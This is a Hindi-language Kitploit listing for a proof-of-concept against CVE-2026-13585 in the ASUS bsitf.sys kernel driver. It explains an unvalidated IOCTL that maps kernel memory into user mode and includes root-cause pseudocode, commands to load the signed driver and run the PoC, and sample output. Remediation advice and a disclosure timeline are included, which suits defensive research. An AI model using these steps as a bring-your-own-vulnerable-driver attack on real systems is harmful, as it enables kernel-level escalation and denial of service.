Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
asus-bsitf-0-day-poc — CVE-2026-13585 के लिए प्रूफ ऑफ कॉन्सेप्ट | Kitploit
उपकरण/GitHubGitHub/416rehman/asus-bsitf-0-day-poc
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणहार्डवेयर सुरक्षाबाइनरी शोषण
GitHub416rehman/asus-bsitf-0-day-poc

asus-bsitf-0-day-poc

CVE-2026-13585 के लिए प्रूफ ऑफ कॉन्सेप्ट

रिपॉजिटरी देखें
521 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

POC - ASUS bsitf.sys कर्नेल मेमोरी मैपिंग टू यूज़रमोड

CVE-2026-13585

सारांश

ASUS bsitf.sys (जिसे AsusBSItf.sys के रूप में भी वितरित किया जाता है) कर्नेल ड्राइवर IOCTL 0x222808 को उजागर करता है जो हमलावर-नियंत्रित आकार की भौतिक रूप से सन्निकट कर्नेल मेमोरी आवंटित करता है, इसे पूर्ण पढ़ने/लिखने की अनुमति के साथ कॉल करने वाली प्रक्रिया के पता स्थान में मैप करता है, और कॉलर को यूज़रमोड वर्चुअल पता और भौतिक पता दोनों लौटाता है।

डिवाइस को खोलने के लिए प्रशासक विशेषाधिकारों की आवश्यकता होती है, जो इसे प्रशासक-से-कर्नेल एस्केलेशन बनाता है। BYOVD (अपना स्वयं का असुरक्षित ड्राइवर लाएं) परिदृश्य में, एक हमलावर जिसके पास पहले से प्रशासक अधिकार हैं (उदाहरण के लिए, सोशल इंजीनियरिंग या एक अलग शोषण के माध्यम से) इस कानूनी रूप से हस्ताक्षरित ड्राइवर को लोड करके कर्नेल एक्सप्लॉइट की आवश्यकता के बिना मनमाना कर्नेल मेमोरी एक्सेस प्राप्त कर सकता है।

प्रभावित संस्करण

संस्करणफ़ाइल नामपैकेजपूल प्रकार
3.0.10.0bsitf.sysASUS Business Manager / AbmSvcPackageNonPagedPool (executable)
3.1.10.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx
3.1.25.0AsusBSItf.sysASUS SCI / AsusSoftwareManagerNonPagedPoolNx

सभी संस्करण डिवाइस \Device\bsitf को सिमलिंक \DosDevices\bsitf के साथ बनाते हैं।

प्रभाव

मैप किया गया बफर एक नया कर्नेल पूल आवंटन है, न कि एक मनमाना कर्नेल पता। कॉलर इसकी सामग्री को नियंत्रित करता है लेकिन इसके स्थान को नहीं। यह वास्तविक मनमाने कर्नेल R/W की तुलना में शोषण को सीमित करता है।

  • कर्नेल पूल समाप्ति (DoS) — मुक्त किए बिना बार-बार आवंटन से NonPagedPool समाप्त हो जाएगा, जिससे BSOD होगा। कोई आकार सीमा या आवंटन सीमा लागू नहीं की गई है।
  • भौतिक पता प्रकटीकरण — IOCTL प्रत्येक आवंटन का भौतिक पता लौटाता है, जो सूचना लीक या DMA-आधारित हमलों के लिए उपयोगी है।
  • निष्पादन योग्य कर्नेल मेमोरी स्टेजिंग (केवल v3.0.x) — संस्करण 3.0.10.0 पर, पूल प्रकार NonPagedPool (executable) है। शेलकोड को यूज़रमोड से मैप किए गए बफर में लिखा जा सकता है, लेकिन कर्नेल निष्पादन को बफर पते पर रीडायरेक्ट करने के लिए एक अलग कमजोरी की आवश्यकता होती है।

v3.1.x संस्करणों (NonPagedPoolNx) पर, बफर गैर-निष्पादन योग्य है और व्यावहारिक प्रभाव DoS और भौतिक पता प्रकटीकरण तक सीमित है।

मूल कारण

डिस्पैच हैंडलर में IOCTL 0x222808 बिना किसी इनपुट सत्यापन के निम्नलिखित कार्य करता है:

root@kitploit:~
alloc_size = *(DWORD *)Irp->AssociatedIrp.SystemBuffer;  // user-controlled

kernel_va = MmAllocateContiguousMemory(alloc_size, 0xffffffff);
mdl = IoAllocateMdl(kernel_va, alloc_size, FALSE, FALSE, NULL);
MmBuildMdlForNonPagedPool(mdl);
user_va = MmMapLockedPages(mdl, UserMode);

output[0] = user_va;        // usermode virtual address
output[1] = physical_addr;  // physical address of allocation

आवंटन आकार, बकाया आवंटन गणना, या इनपुट सत्यापन पर कोई जांच नहीं है। डिवाइस को खोलने के लिए प्रशासक की आवश्यकता होती है, लेकिन एक बार हैंडल प्राप्त हो जाने पर, IOCTL अप्रतिबंधित हैं।

प्रमाण-अवधारणा

बिल्ड

root@kitploit:~
cargo build --release

ड्राइवर लोड करें

root@kitploit:~
sc create bsitf binPath= "C:\path\to\bsitf.sys" type= kernel
sc start bsitf

चलाएं

root@kitploit:~
# default: 0x1000 (4KB) allocation
cargo run --release

# custom size (hex)
cargo run --release -- 10000

अपेक्षित आउटपुट

root@kitploit:~
[*] bsitf.sys kernel memory mapping PoC
[*] target alloc size: 0x1000

[+] device handle acquired

[*] allocating 0x1000 bytes of kernel memory via IOCTL 0x222808
[+] kernel allocation succeeded:
    usermode VA:     0x000001D856F90000
    physical addr:   0x00000000BF6CB000

[*] original contents (first 16 bytes):
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

[*] writing 0xCC pattern (int3 sled)...
[+] readback: usermode R/W CONFIRMED

[*] freeing kernel mapping via IOCTL 0x22280C
[+] mapping freed successfully

Windows 11 24H2 पर परीक्षण किया गया (प्रशासक की आवश्यकता है)।

उपचार

  1. आवंटन आकार को एक उचित ऊपरी सीमा के साथ मान्य करें
  2. प्रति हैंडल बकाया आवंटनों की संख्या सीमित करें
  3. कर्नेल आवंटनों को यूज़रमोड पता स्थान में मैप न करें
  4. यूज़रमोड कॉलरों को भौतिक पते वापस न करें
  5. सभी संस्करणों पर NonPagedPoolNx का उपयोग करें

समयरेखा

दिनांकघटना
2026-04-06स्वचालित विश्लेषण के माध्यम से कमजोरी की खोज
2026-04-06Windows 11 24H2 पर PoC की पुष्टि
2026-04-06ASUS PSIRT को रिपोर्ट प्रस्तुत की गई

संदर्भ

  • CWE-782: अपर्याप्त अभिगम नियंत्रण के साथ उजागर IOCTL
  • डिवाइस: \Device\bsitf, सिमलिंक: \DosDevices\bsitf
  • डिस्पैच हैंडलर: FUN_140001070

अस्वीकरण

यह प्रमाण-अवधारणा केवल अधिकृत सुरक्षा अनुसंधान और जिम्मेदार प्रकटीकरण उद्देश्यों के लिए प्रदान की गई है। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति नहीं है।

टूल डाउनलोड करें